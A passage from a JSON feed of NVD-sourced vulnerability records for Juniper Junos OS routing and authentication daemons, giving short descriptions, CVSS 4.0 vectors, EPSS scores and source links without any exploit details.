Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101981","asOf":"2026-10-16T15:16:59.740Z"},"epss":{"probability":0.00245,"percentile":0.1564,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101981&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101981","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101981","type":"primary","publishedAt":"2026-10-14T18:17:12.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101981&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101981, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101979","cveId":"CVE-2026-101979","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the authd Juniper Networks Junos OS and Junos OS Evolved allows a network attacker with SNMP read access to execute code with root...","summary":"A Stack-based Buffer Overflow vulnerability in the authd Juniper Networks Junos OS and Junos OS Evolved allows a network attacker with SNMP read access to execute code with root privileges or cause a denial of service via a specific SNMP packet, when SNMP and AAA are enabled.","detail":"A Stack-based Buffer Overflow vulnerability in the authd Juniper Networks Junos OS and Junos OS Evolved allows a network attacker with SNMP read access to execute code with root privileges or cause a denial of service via a specific SNMP packet, when SNMP and AAA are enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:12.803Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101979","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.00447,"percentile":0.38627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101979&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101979","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101979","type":"primary","publishedAt":"2026-10-14T18:17:12.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101979&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101979, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101976","cveId":"CVE-2026-101976","aliases":[],"kind":"vulnerability","title":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an eBGP peer which has not negotiated...","summary":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an eBGP peer which has not negotiated four-octet-AS capability sending a specifically malformed BGP update to cause a Denial-of-Service (DoS).","detail":"An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an eBGP peer which has not negotiated four-octet-AS capability sending a specifically malformed BGP update to cause a Denial-of-Service (DoS).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:12.640Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101976","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00461,"percentile":0.39659,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101976&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101976","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101976","type":"primary","publishedAt":"2026-10-14T18:17:12.640Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101976&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101976, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101975","cveId":"CVE-2026-101975","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to cause a denial of...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to cause a denial of service via OSPF traffic processed while OSPF Source Packet Routing best-route Prefix-SID installation is configured.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to cause a denial of service via OSPF traffic processed while OSPF Source Packet Routing best-route Prefix-SID installation is configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:12.467Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101975","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00185,"percentile":0.08009,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101975&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101975","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101975","type":"primary","publishedAt":"2026-10-14T18:17:12.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101975&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101975, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101972","cveId":"CVE-2026-101972","aliases":[],"kind":"vulnerability","title":"An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker...","summary":"An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via specific OSPFv2 packets sent on an OSPF-enabled interface.","detail":"An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via specific OSPFv2 packets sent on an OSPF-enabled interface.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:12.300Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101972","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00269,"percentile":0.18883,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101972&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101972","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101972","type":"primary","publishedAt":"2026-10-14T18:17:12.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101972&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101972, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101964","cveId":"CVE-2026-101964","aliases":[],"kind":"vulnerability","title":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause an rpd crash via a...","summary":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause an rpd crash via a crafted LDP packet received over an established LDP session.","detail":"A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause an rpd crash via a crafted LDP packet received over an established LDP session.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:12.140Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101964","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00251,"percentile":0.16271,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101964&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101964","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101964","type":"primary","publishedAt":"2026-10-14T18:17:12.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101964&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101964, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101963","cveId":"CVE-2026-101963","aliases":[],"kind":"vulnerability","title":"An Incorrect Calculation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos EVO allows a remote BGP EVPN neighbor to cause an rpd crash when...","summary":"An Incorrect Calculation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos EVO allows a remote BGP EVPN neighbor to cause an rpd crash when SRv6 EVPN multihoming is configured.","detail":"An Incorrect Calculation vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos EVO allows a remote BGP EVPN neighbor to cause an rpd crash when SRv6 EVPN multihoming is configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:11.970Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101963","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00445,"percentile":0.3843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101963&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101963","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101963","type":"primary","publishedAt":"2026-10-14T18:17:11.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101962","cveId":"CVE-2026-101962","aliases":[],"kind":"vulnerability","title":"An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker...","summary":"An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker sending a specifically malformed BGP EVPN multicast update which is attempted to be readvertised to cause an rpd crash.","detail":"An Improper Handling of Length Parameter Inconsistency vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker sending a specifically malformed BGP EVPN multicast update which is attempted to be readvertised to cause an rpd crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:11.777Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101962","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00381,"percentile":0.31864,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101962&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101962","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101962","type":"primary","publishedAt":"2026-10-14T18:17:11.777Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101962&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101962, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101961","cveId":"CVE-2026-101961","aliases":[],"kind":"vulnerability","title":"A NULL Pointer Dereference vulnerability in the routing-policy nexthop-ECMP matcher of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a...","summary":"A NULL Pointer Dereference vulnerability in the routing-policy nexthop-ECMP matcher of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a routing-daemon denial of service via a specific BGP packet received while a nexthop-ecmp qualifier is attached to a BGP import policy.","detail":"A NULL Pointer Dereference vulnerability in the routing-policy nexthop-ECMP matcher of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a routing-daemon denial of service via a specific BGP packet received while a nexthop-ecmp qualifier is attached to a BGP import policy.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:11.610Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101961","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00374,"percentile":0.31044,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101961","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101961","type":"primary","publishedAt":"2026-10-14T18:17:11.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101959","cveId":"CVE-2026-101959","aliases":[],"kind":"vulnerability","title":"A Function Call With Incorrect Variable or Reference as Argument vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an...","summary":"A Function Call With Incorrect Variable or Reference as Argument vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause an rpd crash via specifically malformed LSP-ping.","detail":"A Function Call With Incorrect Variable or Reference as Argument vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause an rpd crash via specifically malformed LSP-ping.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:11.440Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101959","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.0025,"percentile":0.16222,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101959&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101959","type":"primary","publishedAt":"2026-10-14T18:17:11.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101959&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101959, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101952","cveId":"CVE-2026-101952","aliases":[],"kind":"vulnerability","title":"An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP...","summary":"An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP ISO-VPN peer to cause an rpd crash by sending a specific ISO-VPN update which is then processed by BMP route monitoring or NSR.","detail":"An Improper Validation of Consistency within Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP ISO-VPN peer to cause an rpd crash by sending a specific ISO-VPN update which is then processed by BMP route monitoring or NSR.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:11.110Z","updatedAt":"2026-10-19T15:16:53.243Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101952","asOf":"2026-10-19T15:16:53.243Z"},"epss":{"probability":0.00358,"percentile":0.29238,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101952&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish 